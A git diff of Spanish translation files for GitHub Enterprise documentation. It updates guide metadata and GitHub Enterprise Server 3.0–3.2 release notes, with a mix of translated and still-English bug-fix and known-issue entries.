/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae + - /actions/security-guides/security-hardening-for-github-actions increase_fault_tolerance: title: 'Incrementa la tolerancia a fallos de tu instancia' description: "Respalda el código de tus desarrolladores y configura la disponibilidad alta (HA, por sus siglas en inglés) para garantizar la confiabilidad de {% data variables.product.prodname_ghe_server %} en tu ambiente." + versions: + ghes: '*' guides: - /admin/configuration/accessing-the-administrative-shell-ssh - /admin/configuration/configuring-backups-on-your-appliance @@ -41,6 +61,8 @@ increase_fault_tolerance: improve_security_of_your_instance: title: 'Mejora la seguridad de tu instancia' description: "Revisa la configuración de red y las características de seguridad y fortalace la instancia que ejecuta {% data variables.product.prodname_ghe_server %} para proteger los datos de tu empresa." + versions: + ghes: '*' guides: - /admin/configuration/enabling-private-mode - /admin/guides/installation/configuring-tls @@ -54,6 +76,8 @@ improve_security_of_your_instance: configure_github_actions: title: 'Configura las {% data variables.product.prodname_actions %}' description: 'Permite a tus desarrolladores crear, automatizar, personalizar y ejecutar poderosos flujos de trabajo de desarrollo de software para {% data variables.product.product_location %} con {% data variables.product.prodname_actions %}.' + versions: + ghes: '*' guides: - /admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server - /admin/github-actions/enforcing-github-actions-policies-for-your-enterprise @@ -64,6 +88,8 @@ configure_github_actions: configure_github_advanced_security: title: 'Configura la {% data variables.product.prodname_GH_advanced_security %}' description: "Mejora la calidad y seguridad del código de tu desarrollador con la {% data variables.product.prodname_GH_advanced_security %}." + versions: + ghes: '*' guides: - /admin/advanced-security/about-licensing-for-github-advanced-security - /admin/advanced-security/enabling-github-advanced-security-for-your-enterprise @@ -71,8 +97,11 @@ configure_github_advanced_security: - /admin/advanced-security/configuring-secret-scanning-for-your-appliance - /admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise get_started_with_your_enterprise_account: - title: 'Get started with your enterprise account' - description: 'Get started with your enterprise account to centrally manage multiple organizations on {% data variables.product.product_name %}.' + title: 'Iniciar con tu cuenta empresarial' + description: 'Inicia con tu cuenta empresarial para administrar organizaciones múltiples centralmente en {% data variables.product.product_name %}.' + versions: + ghes: '*' + ghec: '*' guides: - /admin/overview/about-enterprise-accounts - /billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-0/1.yml b/translations/es-ES/data/release-notes/enterprise-server/3-0/1.yml index 6fda506143..dbbb0cec35 100644 --- a/translations/es-ES/data/release-notes/enterprise-server/3-0/1.yml +++ b/translations/es-ES/data/release-notes/enterprise-server/3-0/1.yml @@ -35,7 +35,7 @@ sections: - 'Los archivos rastreados del LFS de Git que se [cargaron mediante la interface web](https://github.com/blog/2105-upload-files-to-your-repositories) se agregaron incorrecta y directamente al repositorio.' - 'Las propuestas no pudieron cerrarse si contenían un permalink a un blob en el mismo repositorio en donde la ruta de archvio era más grande a 255 caracteres.' - 'Cuando se habilita "Los usuarios pueden buscar en GitHub.com" con GitHub Connect, las propuestas en los repositorios privados e internos no se incluirán en los resultados de búsqueda de GitHub.com.' - - 'When maintenance mode is enabled, some services continue to be listed as "active processes". The services identified are expected to run during maintenance mode. If you experience this issue and are unsure, contact [GitHub Enterprise Support](https://support.github.com/contact).' + - 'Cuando se habilita el modo de mantenimiento, algunos servicios siguen estando listados como "procesos activos". Se espera que los servicios identificados se ejecuten durante el modo de mantenimiento. Si experimentas este problema y no estás seguro de cómo solucionarlo, contacta al [Soporte Empresarial de GitHub](https://support.github.com/contact).' - 'El registro duplicado hacia `/var/log/messages`, `/var/log/syslog`, y `/var/log/user.log` da como resultado una utilización incrementada del volúmen raíz.' - 'Los usuarios pueden descartar un mensaje obligatorio sin verificar todas las casillas.' - '[Los scripts de gancho de pre-recepción](/admin/policies/enforcing-policy-with-pre-receive-hooks) no pueden escribir archivos temporales, los cuales pueden causar que falle la ejecución del script. Los usuarios que utilizan ganchos de pre-recepción deberían hacer pruebas en un ambiente de pruebas para ver si dichos scripts requieren de acceso de escritura.' diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-0/16.yml b/translations/es-ES/data/release-notes/enterprise-server/3-0/16.yml index 928e64a275..6bfa9ada18 100644 --- a/translations/es-ES/data/release-notes/enterprise-server/3-0/16.yml +++ b/translations/es-ES/data/release-notes/enterprise-server/3-0/16.yml @@ -7,6 +7,7 @@ sections: - 'Los conteos del trabajador de Resque se mostraron incorrectamente durante el modo de mantenimiento. {% comment %} https://github.com/github/enterprise2/pull/26898, https://github.com/github/enterprise2/pull/26883 {% endcomment %}' - 'La memoria memcached asignada pudo haber sido cero en el modo de clústering. {% comment %} https://github.com/github/enterprise2/pull/26927, https://github.com/github/enterprise2/pull/26832 {% endcomment %}' - "Arregla compilaciones de las {% data variables.product.prodname_pages %} para que tomen en cuenta la configuración de NO_PROXY del aplicativo. Esto es relevante para los aplicativos configurados únicamente con un proxy HTTP. (actualización 2021-09-30) {% comment %} https://github.com/github/pages/pull/3360 {% endcomment %}\n \nsections -> bugs -> 2\nFile: 16.yml" + - 'The GitHub Connect configuration of the source instance was always restored to new instances even when the `--config` option for `ghe-restore` was not used. This would lead to a conflict with the GitHub Connect connection and license synchronization if both the source and destination instances were online at the same time. The fix also requires updating backup-utils to 3.2.0 or higher. [updated: 2021-11-18]' known_issues: - 'En una instalación nueva de {% data variables.product.prodname_ghe_server %} que no tenga ningún usuario, cualquier atacante podría crear el primer usuario administrativo.' - 'Las reglas de cortafuegos personalizadas se eliminan durante el proceso de actualización.' diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-0/17.yml b/translations/es-ES/data/release-notes/enterprise-server/3-0/17.yml index bde85ef5f4..8b5ad0be0f 100644 --- a/translations/es-ES/data/release-notes/enterprise-server/3-0/17.yml +++ b/translations/es-ES/data/release-notes/enterprise-server/3-0/17.yml @@ -4,14 +4,14 @@ sections: security_fixes: - 'Los paquetes se han actualizado a sus últimas versiones de seguridad. {% comment %} https://github.com/github/enterprise2/pull/27034, https://github.com/github/enterprise2/pull/27010 {% endcomment %}' bugs: - - 'Custom pre-receive hooks could have failed due to too restrictive virtual memory or CPU time limits. {% comment %} https://github.com/github/enterprise2/pull/26971, https://github.com/github/enterprise2/pull/26955 {% endcomment %}' + - 'Los ganchos de recepción personalizados fallaron debido a los límites demasiado restrictivos en la memoria virtual o CPU. {% comment %}https://github.com/github/enterprise2/pull/26971, https://github.com/github/enterprise2/pull/26955 {% endcomment %}' - 'Attempting to wipe all existing configuration settings with `ghe-cleanup-settings` failed to restart the Management Console service. {% comment %} https://github.com/github/enterprise2/pull/26986, https://github.com/github/enterprise2/pull/26901 {% endcomment %}' - 'During replication teardown via `ghe-repl-teardown` Memcached failed to be restarted. {% comment %} https://github.com/github/enterprise2/pull/26992, https://github.com/github/enterprise2/pull/26983 {% endcomment %}' - 'During periods of high load, users would receive HTTP 503 status codes when upstream services failed internal healthchecks. {% comment %} https://github.com/github/enterprise2/pull/27081, https://github.com/github/enterprise2/pull/26999 {% endcomment %}' - - 'Pre-receive hook environments were forbidden from calling the cat command via BusyBox on Alpine. {% comment %} https://github.com/github/enterprise2/pull/27114, https://github.com/github/enterprise2/pull/27094 {% endcomment %}' + - 'Se prohibió que los ambientes de los ganchos de pre-recepción llamaran el comando cat a través de BusyBox en Alpine.{% comment %} https://github.com/github/enterprise2/pull/27114, https://github.com/github/enterprise2/pull/27094 {% endcomment %}' - 'The external database password was logged in plaintext. {% comment %} https://github.com/github/enterprise2/pull/27172, https://github.com/github/enterprise2/pull/26413 {% endcomment %}' - 'An erroneous `jq` error message may have been displayed when running `ghe-config-apply`. {% comment %} https://github.com/github/enterprise2/pull/27203, https://github.com/github/enterprise2/pull/26784 {% endcomment %}' - - 'Failing over from a primary Cluster datacenter to a secondary Cluster datacenter succeeds, but then failing back over to the original primary Cluster datacenter failed to promote Elasticsearch indicies. {% comment %} https://github.com/github/github/pull/193180, https://github.com/github/github/pull/192447 {% endcomment %}' + - 'La recuperación de fallos desde un centro de datos de un clúster primario hacia uno de un clúster secundario fue exitosa, pero recuperarse de los fallos nuevamente hacia el centro de datos del clúster primario original no pudo promover los índices de Elasticsearch. {% comment %} https://github.com/github/github/pull/193180, https://github.com/github/github/pull/192447 {% endcomment %}' - 'The Site Admin page for repository self-hosted runners returned an HTTP 500. {% comment %} https://github.com/github/github/pull/194205 {% endcomment %}' - 'In some cases, GitHub Enterprise Administrators attempting to view the `Dormant users` page received `502 Bad Gateway` or `504 Gateway Timeout` response. {% comment %} https://github.com/github/github/pull/194259, https://github.com/github/github/pull/193609 {% endcomment %}' changes: diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-0/2.yml b/translations/es-ES/data/release-notes/enterprise-server/3-0/2.yml index 5e60a935d5..b8e5be49a7 100644 --- a/translations/es-ES/data/release-notes/enterprise-server/3-0/2.yml +++ b/translations/es-ES/data/release-notes/enterprise-server/3-0/2.yml @@ -27,7 +27,7 @@ sections: - Los archivos rastreados del LFS de Git que se [cargaron mediante la interface web](https://github.com/blog/2105-upload-files-to-your-repositories) se agregaron incorrecta y directamente al repositorio. - Las propuestas no pudieron cerrarse si contenían un permalink a un blob en el mismo repositorio en donde la ruta de archvio era más grande a 255 caracteres. - Cuando se habilita "Los usuarios pueden buscar en GitHub.com" con GitHub Connect, las propuestas en los repositorios privados e internos no se incluirán en los resultados de búsqueda de GitHub.com. - - When maintenance mode is enabled, some services continue to be listed as "active processes". The services identified are expected to run during maintenance mode. If you experience this issue and are unsure, contact [GitHub Enterprise Support](https://support.github.com/contact). + - Cuando se habilita el modo de mantenimiento, algunos servicios siguen estando listados como "procesos activos". Se espera que los servicios identificados se ejecuten durante el modo de mantenimiento. Si experimentas este problema y no estás seguro de cómo solucionarlo, contacta al [Soporte Empresarial de GitHub](https://support.github.com/contact). - La interpretación de Jupyter Notebook en la IU web podría fallar si el bloc de notas incluye caracteres diferentes a los de ASCII UTF-8. - El reStructuredText (RST) que se representa en la IU web podría fallar y mostrar un texto de marcado RST sin procesar. - Las compilaciones antiguas de las páginas no se limpiaron, lo cual pudo haber llenado el disco del usuario (`/data/user/`). diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-0/20.yml b/translations/es-ES/data/release-notes/enterprise-server/3-0/20.yml new file mode 100644 index 0000000000..ee3c205be8 --- /dev/null +++ b/translations/es-ES/data/release-notes/enterprise-server/3-0/20.yml @@ -0,0 +1,21 @@ +--- +date: '2021-11-23' +sections: + security_fixes: + - Los paquetes se actualizaron a las últimas versiones de seguridad. + bugs: + - Pre-receive hooks would fail due to undefined `PATH`. + - 'Running `ghe-repl-setup` would return an error: `cannot create directory /data/user/elasticsearch: File exists` if the instance had previously been configured as a replica.' + - In large cluster environments, the authentication backend could be unavailable on a subset of frontend nodes. + - Some critical services may not have been available on backend nodes in GHES Cluster. + changes: + - An additional outer layer of `gzip` compression when creating a cluster support bundle with `ghe-cluster-suport-bundle` is now turned off by default. This outer compression can optionally be applied with the `ghe-cluster-suport-bundle -c` command line option. + - We have added extra text to the admin console to remind users about the mobile apps' data collection for experience improvement purposes. + known_issues: + - En una instalación nueva de {% data variables.product.prodname_ghe_server %} que no tenga ningún usuario, cualquier atacante podría crear el primer usuario administrativo. + - Las reglas de cortafuegos personalizadas se eliminan durante el proceso de actualización. + - Los archivos rastreados del LFS de Git que se [cargaron mediante la interface web](https://github.com/blog/2105-upload-files-to-your-repositories) se agregaron incorrecta y directamente al repositorio. + - Las propuestas no pudieron cerrarse si contenían un permalink a un blob en el mismo repositorio en donde la ruta de archvio del blob era más grande a 255 caracteres. + - Cuando se habilita "Los usuarios pueden buscar en GitHub.com" con GitHub Connect, las propuestas en los repositorios privados e internos no se incluirán en los resultados de búsqueda de GitHub.com. + - Cuando un nodo de réplica está fuera de línea en una configuración de disponibilidad alta, {% data variables.product.product_name %} aún podría enrutar las solicitudes a {% data variables.product.prodname_pages %} para el nodo fuera de línea, reduciendo la disponibilidad de {% data variables.product.prodname_pages %} para los usuarios. + - Los límites de recursos que son específicos para procesar ganchos de pre-recepción podrían ocasionar que fallen algunos ganchos de pre-recepción. diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-0/3.yml b/translations/es-ES/data/release-notes/enterprise-server/3-0/3.yml index deb2de12f1..d697530387 100644 --- a/translations/es-ES/data/release-notes/enterprise-server/3-0/3.yml +++ b/translations/es-ES/data/release-notes/enterprise-server/3-0/3.yml @@ -26,7 +26,7 @@ sections: - Los archivos rastreados del LFS de Git que se [cargaron mediante la interface web](https://github.com/blog/2105-upload-files-to-your-repositories) se agregaron incorrecta y directamente al repositorio. - Las propuestas no pudieron cerrarse si contenían un permalink a un blob en el mismo repositorio en donde la ruta de archvio era más grande a 255 caracteres. - Cuando se habilita "Los usuarios pueden buscar en GitHub.com" con GitHub Connect, las propuestas en los repositorios privados e internos no se incluirán en los resultados de búsqueda de GitHub.com. - - When maintenance mode is enabled, some services continue to be listed as "active processes". The services identified are expected to run during maintenance mode. If you experience this issue and are unsure, contact [GitHub Enterprise Support](https://support.github.com/contact). + - Cuando se habilita el modo de mantenimiento, algunos servicios siguen estando listados como "procesos activos". Se espera que los servicios identificados se ejecuten durante el modo de mantenimiento. Si experimentas este problema y no estás seguro de cómo solucionarlo, contacta al [Soporte Empresarial de GitHub](https://support.github.com/contact). - La interpretación de Jupyter Notebook en la IU web podría fallar si el bloc de notas incluye caracteres diferentes a los de ASCII UTF-8. - El reStructuredText (RST) que se representa en la IU web podría fallar y mostrar un texto de marcado RST sin procesar. - Las compilaciones antiguas de las páginas no se limpiaron, lo cual pudo haber llenado el disco del usuario (`/data/user/`). diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-1/12.yml b/translations/es-ES/data/release-notes/enterprise-server/3-1/12.yml new file mode 100644 index 0000000000..73c91c8e8f --- /dev/null +++ b/translations/es-ES/data/release-notes/enterprise-server/3-1/12.yml @@ -0,0 +1,24 @@ +--- +date: '2021-11-23' +sections: + security_fixes: + - Los paquetes se actualizaron a las últimas versiones de seguridad. + bugs: + - Running `ghe-repl-start` or `ghe-repl-status` would sometimes return errors connecting to the database when GitHub Actions was enabled. + - Pre-receive hooks would fail due to undefined `PATH`. + - 'Running `ghe-repl-setup` would return an error: `cannot create directory /data/user/elasticsearch: File exists` if the instance had previously been configured as a replica.' + - 'After setting up a high availability replica, `ghe-repl-status` included an error in the output: `unexpected unclosed action in command`.' + - In large cluster environments, the authentication backend could be unavailable on a subset of frontend nodes. + - Some critical services may not have been available on backend nodes in GHES Cluster. + changes: + - An additional outer layer of `gzip` compression when creating a cluster support bundle with `ghe-cluster-suport-bundle` is now turned off by default. This outer compression can optionally be applied with the `ghe-cluster-suport-bundle -c` command line option. + - We have added extra text to the admin console to remind users about the mobile apps' data collection for experience improvement purposes. + known_issues: + - El registor de npm del {% data variables.product.prodname_registry %} ya no regresa un valor de tiempo en las respuestas de metadatos. Esto se hizo para permitir mejoras de rendimiento sustanciales. Seguimos teniendo todos los datos necesarios para devolver un valor de tiempo como parte de la respuesta de metadatos y terminaremos de devolver este valor ene l futuro una vez que hayamos resuelto los problemas de rendimiento existentes. + - En una instalación nueva de {% data variables.product.prodname_ghe_server %} que no tenga ningún usuario, cualquier atacante podría crear el primer usuario administrativo. + - Las reglas de cortafuegos personalizadas se eliminan durante el proceso de actualización. + - Los archivos rastreados del LFS de Git que se [cargaron mediante la interface web](https://github.com/blog/2105-upload-files-to-your-repositories) se agregaron incorrecta y directamente al repositorio. + - Las propuestas no pudieron cerrarse si contenían un permalink a un blob en el mismo repositorio en donde la ruta de archvio del blob era más grande a 255 caracteres. + - Cuando se habilita "Los usuarios pueden buscar en GitHub.com" con GitHub Connect, las propuestas en los repositorios privados e internos no se incluirán en los resultados de búsqueda de GitHub.com. + - Si se habilitan las {% data variables.product.prodname_actions %} para {% data variables.product.prodname_ghe_server %}, el desmontar un nodo de réplica con `ghe-repl-teardown` tendrá éxito, pero podría devolver un `ERROR:Running migrations`. + - Los límites de recursos que son específicos para procesar ganchos de pre-recepción podrían ocasionar que fallen algunos ganchos de pre-recepción. diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-1/8.yml b/translations/es-ES/data/release-notes/enterprise-server/3-1/8.yml index 444f7895d2..9412b1008a 100644 --- a/translations/es-ES/data/release-notes/enterprise-server/3-1/8.yml +++ b/translations/es-ES/data/release-notes/enterprise-server/3-1/8.yml @@ -8,6 +8,7 @@ sections: - 'La memoria memcached asignada pudo haber sido cero en el modo de clústering. {% comment %} https://github.com/github/enterprise2/pull/26928, https://github.com/github/enterprise2/pull/26832 {% endcomment %}' - 'Los archivos binarios no vacíos mostraron un tipo y tamaño de archivo incorrectos en la pestaña "Archivos" de una solicitud de cambios. {% comment %} https://github.com/github/github/pull/192810, https://github.com/github/github/pull/172284, https://github.com/github/coding/issues/694 {% endcomment %}' - "Arregla compilaciones de las {% data variables.product.prodname_pages %} para que tomen en cuenta la configuración de NO_PROXY del aplicativo. Esto es relevante para los aplicativos configurados únicamente con un proxy HTTP. (actualización 2021-09-30) {% comment %} https://github.com/github/pages/pull/3360 {% endcomment %}\n \nsections -> bugs -> 2\nFile: 16.yml" + - 'The GitHub Connect configuration of the source instance was always restored to new instances even when the `--config` option for `ghe-restore` was not used. This would lead to a conflict with the GitHub Connect connection and license synchronization if both the source and destination instances were online at the same time. The fix also requires updating backup-utils to 3.2.0 or higher. [updated: 2021-11-18]' known_issues: - 'El registor de npm del {% data variables.product.prodname_registry %} ya no regresa un valor de tiempo en las respuestas de metadatos. Esto se hizo para permitir mejoras de rendimiento sustanciales. Seguimos teniendo todos los datos necesarios para devolver un valor de tiempo como parte de la respuesta de metadatos y terminaremos de devolver este valor ene l futuro una vez que hayamos resuelto los problemas de rendimiento existentes.' - 'En una instalación nueva de {% data variables.product.prodname_ghe_server %} que no tenga ningún usuario, cualquier atacante podría crear el primer usuario administrativo.' diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-1/9.yml b/translations/es-ES/data/release-notes/enterprise-server/3-1/9.yml index 3ea4c6eb79..53a14a783d 100644 --- a/translations/es-ES/data/release-notes/enterprise-server/3-1/9.yml +++ b/translations/es-ES/data/release-notes/enterprise-server/3-1/9.yml @@ -4,15 +4,15 @@ sections: security_fixes: - 'Los paquetes se han actualizado a sus últimas versiones de seguridad. {% comment %} https://github.com/github/enterprise2/pull/27035, https://github.com/github/enterprise2/pull/27010 {% endcomment %}' bugs: - - 'Custom pre-receive hooks could have failed due to too restrictive virtual memory or CPU time limits. {% comment %} https://github.com/github/enterprise2/pull/26972, https://github.com/github/enterprise2/pull/26955 {% endcomment %}' + - 'Los ganchos de recepción personalizados fallaron debido a los límites demasiado restrictivos en la memoria virtual o CPU.{% comment %} https://github.com/github/enterprise2/pull/26972, https://github.com/github/enterprise2/pull/26955 {% endcomment %}' - 'Attempting to wipe all existing configuration settings with `ghe-cleanup-settings` failed to restart the Management Console service. {% comment %} https://github.com/github/enterprise2/pull/26987, https://github.com/github/enterprise2/pull/26901 {% endcomment %}' - 'During replication teardown via `ghe-repl-teardown` Memcached failed to be restarted. {% comment %} https://github.com/github/enterprise2/pull/26993, https://github.com/github/enterprise2/pull/26983 {% endcomment %}' - 'During periods of high load, users would receive HTTP 503 status codes when upstream services failed internal healthchecks. {% comment %} https://github.com/github/enterprise2/pull/27082, https://github.com/github/enterprise2/pull/26999 {% endcomment %}' - 'With Actions configured, MSSQL replication would fail after restoring from a GitHub Enterprise Backup Utilities snapshot. {% comment %} https://github.com/github/enterprise2/pull/27097, https://github.com/github/enterprise2/pull/26254 {% endcomment %}' - 'An erroneous `jq` error message may have been displayed when running `ghe-config-apply`. {% comment %} https://github.com/github/enterprise2/pull/27194, https://github.com/github/enterprise2/pull/26784 {% endcomment %}' - - 'Pre-receive hook environments were forbidden from calling the cat command via BusyBox on Alpine. {% comment %} https://github.com/github/enterprise2/pull/27115, https://github.com/github/enterprise2/pull/27094 {% endcomment %}' + - 'Se prohibió que los ambientes de los ganchos de pre-recepción llamaran el comando cat a través de BusyBox en Alpine.{% comment %} https://github.com/github/enterprise2/pull/27115, https://github.com/github/enterprise2/pull/27094 {% endcomment %}' - 'The external database password was logged in plaintext. {% comment %} https://github.com/github/enterprise2/pull/27173, https://github.com/github/enterprise2/pull/26413 {% endcomment %}' - - 'Failing over from a primary Cluster datacenter to a secondary Cluster datacenter succeeds, but then failing back over to the original primary Cluster datacenter failed to promote Elasticsearch indicies. {% comment %} https://github.com/github/github/pull/193181, https://github.com/github/github/pull/192447 {% endcomment %}' + - 'La recuperación de fallos desde un centro de datos de un clúster primario hacia uno de un clúster secundario fue exitosa, pero recuperarse de los fallos nuevamente hacia el centro de datos del clúster primario original no pudo promover los índices de Elasticsearch. {% comment %} https://github.com/github/github/pull/193180, https://github.com/github/github/pull/192447 {% endcomment %}' - 'The "Import teams" button on the Teams page for an Organization returned an HTTP 404. {% comment %} https://github.com/github/github/pull/193302 {% endcomment %}' - 'In some cases, GitHub Enterprise Administrators attempting to view the `Dormant users` page received `502 Bad Gateway` or `504 Gateway Timeout` response. {% comment %} https://github.com/github/github/pull/194260, https://github.com/github/github/pull/193609 {% endcomment %}' - 'Performance was negatively impacted in certain high load situations as a result of the increased number of `SynchronizePullRequestJob` jobs. {% comment %} https://github.com/github/github/pull/195253, https://github.com/github/github/pull/194591 {% endcomment %}' diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-2/0-rc1.yml b/translations/es-ES/data/release-notes/enterprise-server/3-2/0-rc1.yml index 74b092c789..747617a9bb 100644 --- a/translations/es-ES/data/release-notes/enterprise-server/3-2/0-rc1.yml +++ b/translations/es-ES/data/release-notes/enterprise-server/3-2/0-rc1.yml @@ -27,7 +27,7 @@ sections: - 'Los dominios que no se pueden verificar ahora pueden aprobarse para el enrutamiento de notificaciones por correo electrónico. Los propietarios de empresas y organizaciones podrán aprobar dominios y aumentar su política de restricción de notificaciones por correo electrónico automáticamente, lo cual permitirá que las notificaciones se envíen a los colaboradores, consultores, adquisiciones o a otros socios. para obtener más información, consulta las secciones "[Verificar o aprobar un dominio para tu empresa](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise#about-approval-of-domains)" y "[Restringir las notificaciones por correo electrónico para tu empresa](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise#restricting-email-notifications-for-your-enterprise-account)."' - heading: 'Soporte para el almacenamiento de credenciales seguro del Administrador de Credenciales de Git (GCM) y autenticación multifactorial' notes: - - "Las versiones 2.0.452 y posteriores del Administrador de Credenciales de Git (GCM) Core ahora proporcionan compatibilidad de almacenamiento de credenciales con seguridad fortalecida y autenticación multifactorial para {% data variables.product.product_name %}.\n\nEl GCM Core con compatibilidad para {% data variables.product.product_name %} se incluye con [Git para Windows](https://gitforwindows.org) en sus versiones 2.32 y posterior. GCM Core no se incluye con Git para macOS o para Linux, pero puede instalarse por separado. Para obtener más información, consulta el [lanzamiento más reciente](https://github.com/microsoft/Git-Credential-Manager-Core/releases/) y las [instrucciones de instalación](https://github.com/microsoft/Git-Credential-Manager-Core/releases/) en el repositorio `microsoft/Git-Credential-Manager-Core`.\n" + - "Git Credential Manager (GCM) versions 2.0.452 and later now provide security-hardened credential storage and multi-factor authentication support for {% data variables.product.product_name %}.\n\nGCM with support for {% data variables.product.product_name %} is included with [Git for Windows](https://gitforwindows.org) versions 2.32 and later. GCM is not included with Git for macOS or Linux, but can be installed separately. For more information, see the [latest release](https://github.com/GitCredentialManager/git-credential-manager/releases/) and [installation instructions](https://github.com/GitCredentialManager/git-credential-manager/releases/) in the `GitCredentialManager/git-credential-manager` repository.\n" changes: - heading: 'Cambios en la administración' notes: @@ -112,7 +112,7 @@ sections: - '**{% data variables.product.prodname_ghe_server %} 2.22 se descontinuará el 23 de septiembre de 2021**. Esto significa que no se harán lanzamientos de parches, incluso para los problemas de seguridad, después de dicha fecha. Para tener un rendimiento mejor, una seguridad mejorada y cualquier característica nueva, [actualiza a la versión más nueva de {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.2/admin/enterprise-management/upgrading-github-enterprise-server) tan pronto te sea posible.' - heading: 'Obsoletización del soporte para XenServer Hypervisor' notes: - - 'Beginning in {% data variables.product.prodname_ghe_server %} 3.1, we will begin discontinuing support for Xen Hypervisor. The complete deprecation is scheduled for {% data variables.product.prodname_ghe_server %} 3.3, following the standard one year deprecation window. Please contact [GitHub Support](https://support.github.com/contact) with questions or concerns.' + - 'Desde la versión 3.1 de {% data variables.product.prodname_ghe_server %}, comenzaremos a descontinuar la compatibilidad con Xen Hypervisor. La obsoletización completa está programada para la versión 3.3 de {% data variables.product.prodname_ghe_server %}, siguiendo la ventana de obsoletización estándar de un año. Por favor, contacta al [Soporte de Github](https://support.github.com/contact) so tienes dudas o preguntas.' - heading: 'Eliminación de los servicios tradicionales de GitHub' notes: - '{% data variables.product.prodname_ghe_server %} 3.2 elimina los registros de base de datos de GitHub Service sin utilizar. Hay más información disponible en la [publicación del anuncio de obsoletización](https://developer.github.com/changes/2018-04-25-github-services-deprecation/).' diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-2/0.yml b/translations/es-ES/data/release-notes/enterprise-server/3-2/0.yml index 3ca152fd43..3ffe8ffef8 100644 --- a/translations/es-ES/data/release-notes/enterprise-server/3-2/0.yml +++ b/translations/es-ES/data/release-notes/enterprise-server/3-2/0.yml @@ -25,7 +25,7 @@ sections: - 'Los dominios que no se pueden verificar ahora pueden aprobarse para el enrutamiento de notificaciones por correo electrónico. Los propietarios de empresas y organizaciones podrán aprobar dominios y aumentar su política de restricción de notificaciones por correo electrónico automáticamente, lo cual permitirá que las notificaciones se envíen a los colaboradores, consultores, adquisiciones o a otros socios. para obtener más información, consulta las secciones "[Verificar o aprobar un dominio para tu empresa](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise#about-approval-of-domains)" y "[Restringir las notificaciones por correo electrónico para tu empresa](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise#restricting-email-notifications-for-your-enterprise-account)."' - heading: 'Soporte para el almacenamiento de credenciales seguro del Administrador de Credenciales de Git (GCM) y autenticación multifactorial' notes: - - "Las versiones 2.0.452 y posteriores del Administrador de Credenciales de Git (GCM) Core ahora proporcionan compatibilidad de almacenamiento de credenciales con seguridad fortalecida y autenticación multifactorial para {% data variables.product.product_name %}.\n\nEl GCM Core con compatibilidad para {% data variables.product.product_name %} se incluye con [Git para Windows](https://gitforwindows.org) en sus versiones 2.32 y posterior. GCM Core no se incluye con Git para macOS o para Linux, pero puede instalarse por separado. Para obtener más información, consulta el [lanzamiento más reciente](https://github.com/microsoft/Git-Credential-Manager-Core/releases/) y las [instrucciones de instalación](https://github.com/microsoft/Git-Credential-Manager-Core/releases/) en el repositorio `microsoft/Git-Credential-Manager-Core`.\n" + - "Git Credential Manager (GCM) versions 2.0.452 and later now provide security-hardened credential storage and multi-factor authentication support for {% data variables.product.product_name %}.\n\nGCM with support for {% data variables.product.product_name %} is included with [Git for Windows](https://gitforwindows.org) versions 2.32 and later. GCM is not included with Git for macOS or Linux, but can be installed separately. For more information, see the [latest release](https://github.com/GitCredentialManager/git-credential-manager/releases/) and [installation instructions](https://github.com/GitCredentialManager/git-credential-manager/releases/) in the `GitCredentialManager/git-credential-manager` repository.\n" changes: - heading: 'Cambios en la administración' notes: @@ -111,7 +111,7 @@ sections: - '**{% data variables.product.prodname_ghe_server %} 2.22 se descontinuará el 23 de septiembre de 2021**. Esto significa que no se harán lanzamientos de parches, incluso para los problemas de seguridad, después de dicha fecha. Para tener un rendimiento mejor, una seguridad mejorada y cualquier característica nueva, [actualiza a la versión más nueva de {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.2/admin/enterprise-management/upgrading-github-enterprise-server) tan pronto te sea posible.' - heading: 'Obsoletización del soporte para XenServer Hypervisor' notes: - - 'Beginning in {% data variables.product.prodname_ghe_server %} 3.1, we will begin discontinuing support for Xen Hypervisor. The complete deprecation is scheduled for {% data variables.product.prodname_ghe_server %} 3.3, following the standard one year deprecation window. Please contact [GitHub Support](https://support.github.com/contact) with questions or concerns.' + - 'Desde la versión 3.1 de {% data variables.product.prodname_ghe_server %}, comenzaremos a descontinuar la compatibilidad con Xen Hypervisor. La obsoletización completa está programada para la versión 3.3 de {% data variables.product.prodname_ghe_server %}, siguiendo la ventana de obsoletización estándar de un año. Por favor, contacta al [Soporte de Github](https://support.github.com/contact) so tienes dudas o preguntas.' - heading: 'Eliminación de los servicios tradicionales de GitHub' notes: - '{% data variables.product.prodname_ghe_server %} 3.2 elimina los registros de base de datos de GitHub Service sin utilizar. Hay más información disponible en la [publicación del anuncio de obsoletización](https://developer.github.com/changes/2018-04-25-github-services-deprecation/).' diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-2/1.yml b/translations/es-ES/data/release-notes/enterprise-server/3-2/1.yml index c6a04f3aa3..42ee385880 100644 --- a/translations/es-ES/data/release-notes/enterprise-server/3-2/1.yml +++ b/translations/es-ES/data/release-notes/enterprise-server/3-2/1.yml @@ -4,13 +4,13 @@ sections: security_fixes: - 'Los paquetes se han actualizado a sus últimas versiones de seguridad. {% comment %} https://github.com/github/enterprise2/pull/27118, https://github.com/github/enterprise2/pull/27110 {% endcomment %}' bugs: - - 'Custom pre-receive hooks could have failed due to too restrictive virtual memory or CPU time limits. {% 